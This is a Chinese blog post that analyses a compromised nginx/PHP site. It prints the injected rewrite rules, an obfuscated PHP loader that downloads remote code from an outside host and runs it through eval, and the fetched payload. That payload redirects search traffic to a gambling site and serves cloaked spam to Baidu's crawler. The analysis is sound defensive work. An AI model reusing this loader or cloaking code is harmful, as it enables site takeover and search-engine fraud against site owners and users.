前几天一个同学说他们单位网站被黑了,主要表现为在百度上搜索他们网站+博彩关键字会出来一堆博彩页面的结果,点击这些结果先是到他们单位网站,然后就会立刻跳转到一个博彩网站。导致百度把他们网站给K了,清除干净这些博彩链接后才给恢复。
这个网站的webserver是nginx,脚本用的是php。同学查到了他们的nginx配置文件被修改过,增加了以下内容:

rewrite ^([^\.]*)/([a-z]+)-recommend/([0-9]+)/$ $1/m2o/api/flash.php?id=$2&user=$3 last;
rewrite ^([^\.]*)/([a-z]+)-([0-9]+)/$ $1/m2o/api/flash.php?id=$2&user=$3 last;
rewrite ^([^\.]*)hd/script/js.php$ $1/m2o/api/flash.php last;

这么看来是增加了几个rewrite规则,把某些特定pattern的请求转发到一个叫做flash.php的文件上去处理。同学又把这个flash.php发过来给我看了下,内容是:

<?php
$p = str_replace("lx","","slxtlxrlx_rlxelxplxlaclxe");
$q = str_replace("xw","","pxwrxwexwgxw_xwrxwexwpxwlxwaxwcxwe");
$r = str_replace("dz","","sdztdzrdz_dzrdzodztdz1dz3");
$a="aHR0cDovL2ZjLnJvYm90czguY29tL211L2FodHYudHh0";
$b = $p("cp", "", "bcpacpscpecp6cp4cp_cpdcpecpccpocpdcpe");

//$file = $b($a);
$file = 'http://www.886778.com/ahtv/ahtv.txt';
$code = file_get_contents($file);
@$q('/ba/e','@'.$r('riny').'($code)', 'bad');
?>

看上去是无比蛋疼的一段代码,全是字符串替换,没辙,一步步换,就看最后到底要换出个什么

<?php
//$p = str_replace("lx","","slxtlxrlx_rlxelxplxlaclxe");
$p = "str_replace";
//$q = str_replace("xw","","pxwrxwexwgxw_xwrxwexwpxwlxwaxwcxwe");
$q = "preg_replace";
//$r = str_replace("dz","","sdztdzrdz_dzrdzodztdz1dz3");
$r = "str_rot13";
$a="aHR0cDovL2ZjLnJvYm90czguY29tL211L2FodHYudHh0";
//$b = $p("cp", "", "bcpacpscpecp6cp4cp_cpdcpecpccpocpdcpe");
$b = "base64_decode";
//$file = $b($a);
$file = 'http://www.xxxxxxx.com/xxx/xxx.txt';
$code = file_get_contents($file);
@$q('/ba/e','@'.$r('riny').'($code)', 'bad');
?>

到这里其实还是啥都看不出,只是知道前面全是烟雾弹,几个函数名用得着这样么?类似这样继续换下去,最后知道真相的我眼泪掉下来,$code变量是从$file所指地址下载的一段文本($file的所指的真实地址这里隐去),前面换来换去只为得到四个字母:eval !他就是吧$code的内容放到eval里当做php代码执行。好吧,到这里很明了了,直接去看那个txt吧,内容依然是php代码。

$refer=$_SERVER['HTTP_REFERER'];
//if(!isset($_COOKIE['loginTime'])) {
//setcookie("loginTime",time(),time()+86400);
if(stristr($refer,"baidu.com")||stristr($refer,"sogou.com")||stristr($refer,"soso.com")||stristr($refer,"google.")||stristr($refer,"so.com")||stristr($refer,"360.")||stristr($refer,"bing.com")||stristr($refer,"youdao.com"))
{
$url="http://www.1128888.com";
Header('Location:'.$url);
exit();
}
//}
$a=$_SERVER['SERVER_NAME'].$_SERVER["REQUEST_URI"];
$file='http://fc.robots8.com/mu/index.php?url='.$a;
$referer=$_SERVER["HTTP_REFERER"];
$agent= strtolower($_SERVER["HTTP_USER_AGENT"]);
if(strstr($referer,"baidu")&&strstr($referer,"456"))
{
   Header("Location: $url");
}
if(ereg("http://www.baidu.com/search/spider.htm",$agent))
{
		$content=file_get_contents("$file");
		echo $content;
        exit;
}
echo"<html>\r\n"
  . "<head><title>403 Forbidden</title></head>\r\n"
  . "<body bgcolor=\"white\">\r\n"
  . "<center><h1>403 Forbidden</h1></center>\r\n"
  . "<hr><center>nginx</center>\r\n"
  . "</body>\r\n"
  . "</html>\r\n"
  . "<!-- a padding to disable MSIE and Chrome friendly error page -->\r\n"
  . "<!-- a padding to disable MSIE and Chrome friendly error page -->\r\n"
  . "<!-- a padding to disable MSIE and Chrome friendly error page -->\r\n"
  . "<!-- a padding to disable MSIE and Chrome friendly error page -->\r\n"
  . "<!-- a padding to disable MSIE and Chrome friendly error page -->\r\n"
  . "<!-- a padding to disable MSIE and Chrome friendly error page -->";

这段代码才是真实工作的代码,干了很多事情。上面一部分就是负责从搜索结果页跳转到博彩网站的,代码首先判断来访者的refer,如果是从百度搜狗之类的网站跳转过来,refer里肯定有baidu.com,sogou.com之类的字样,
遇到这样的就直接调用header()函数给浏览器发送个302跳转到那个1228888为域名的博彩网站去,这就好解释开头提到的现象了。但是,还有一个问题没搞清楚,搜索结果页的快照是从该单位的网站上抓的,但是内容确实博彩网站的内容,为啥捏。
上面这段代码再往下看,又出现了一个$file,又一个地址,不多说,直接看这个地址里是啥,代码里有参数,但是我试了下不加参数也能访问,内容就是那个博彩网站的文本内容,用这个来当网页快照真是再合适不过了。
所以,后面这段代码就开始针对百度的爬虫做坏事了,只要是百度爬虫过来,就把这段文本内容给爬虫,这是欺负我们家的spider的么?当然,如果是正常浏览器访问,这段代码就伪装成403。
好吧,到这里就可以粗略理一下整个利用过程了。在攻击者把配置文件修改好并且把这段代码放到服务器上之后,就想办法告诉百度爬虫,这个网站上有博彩内容。告诉的方法可以有很多种,比如直接到百度去提交,或者在另外一个网站上加个链接之类。
对于爬虫来说,他不知道这是什么内容,只知道这是以前没有发现过的新内容,在加上这个网站原来还是个优质网站,那就赶紧把这些新内容爬下来。由于url是经过rewrite的,单纯从url上看,这些多出来的内容说不定是该网站的一个新频道呢。
再然后,当用户在百度上搜索博彩相关内容的时候,这些结果就出现了。当然,博彩网站本身肯定是会被百度K掉的,所以他才会把自己假装成一个优质网站的一个频道,这样百度就收录了,好聪明,借尸还魂。
再继续,用户点击这些结果时,自然是只会跳转到我同学维护的网站,但是却被上面的代码巧妙的给跳走了,流量就到了真正的博彩网站。

解决方法也挺简单,干掉nginx配置文件中被修改的部分,干掉这个flash.php,堵住机器漏洞,防止再次被黑,基本上就ok了。